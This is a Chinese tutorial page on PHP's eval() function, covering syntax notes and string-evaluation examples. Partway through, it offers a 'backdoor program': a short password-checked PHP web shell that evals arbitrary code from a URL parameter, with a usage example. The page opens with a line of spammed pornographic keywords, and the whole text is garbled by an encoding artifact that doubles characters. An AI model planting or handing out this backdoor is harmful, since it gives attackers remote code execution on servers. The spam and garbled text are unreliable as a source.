欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

PHP eval函數(shù)使用介紹

 更新時(shí)間:2013年12月08日 23:10:31   投稿:mdxy-dxy  
eval()函數(shù)中的eval是evaluate的簡(jiǎn)稱,這個(gè)函數(shù)的作用就是把一段字符串當(dāng)作PHP語(yǔ)句來(lái)執(zhí)行,一般情況下不建議使用容易被黑客利用

代碼:

eval("echo'hello world';");

上邊代碼等同于下邊的代碼:

echo"hello world";

在瀏覽器中都輸出:hello world

運(yùn)用eval()要注意幾點(diǎn):

1.eval函數(shù)的參數(shù)的字符串末尾一定要有分號(hào),在最后還要另加一個(gè)分號(hào)(這個(gè)分號(hào)是php限制)

2.注意單引號(hào),雙引號(hào)和反斜杠的運(yùn)用。如果參數(shù)中帶有變量時(shí),并且變量有賦值操作的話,變量前的$符號(hào)錢一定要有\(zhòng)來(lái)轉(zhuǎn)義。如果沒(méi)有賦值操作可以不需要。

代碼:

$a=100;
eval("echo$a;");

因?yàn)闆](méi)有賦值操作,所以可以不用\來(lái)轉(zhuǎn)義$.等同于以下代碼:

$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分號(hào))兩邊必須要有雙引號(hào)或者根據(jù)需要用單引號(hào)。否則報(bào)錯(cuò)。

命令式字符串是指:字符串中包括echo、print之類的命令的時(shí)候。

如果參數(shù)只有一個(gè)變量則可以不用。例如:

$func =<<<FUNC
function test(){ 
  echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享個(gè)php eval后門程序

要求必須支持eval函數(shù)
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

PHP eval() 函數(shù)介紹

定義和用法

eval() 函數(shù)把字符串按照 PHP 代碼來(lái)計(jì)算。

該字符串必須是合法的 PHP 代碼,且必須以分號(hào)結(jié)尾。

如果沒(méi)有在代碼字符串中調(diào)用 return 語(yǔ)句,則返回 NULL。如果代碼中存在解析錯(cuò)誤,則 eval() 函數(shù)返回 false。

語(yǔ)法
eval(phpcode)

參數(shù) 描述
phpcode 必需。規(guī)定要計(jì)算的 PHP 代碼。

提示和注釋
注釋:返回語(yǔ)句會(huì)立即終止對(duì)字符串的計(jì)算。
注釋:該函數(shù)對(duì)于在數(shù)據(jù)庫(kù)文本字段中供日后計(jì)算而進(jìn)行的代碼存儲(chǔ)很有用。
例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?> 

輸出:
This is a $string $time morning!
This is a beautiful winter morning!

相關(guān)文章

最新評(píng)論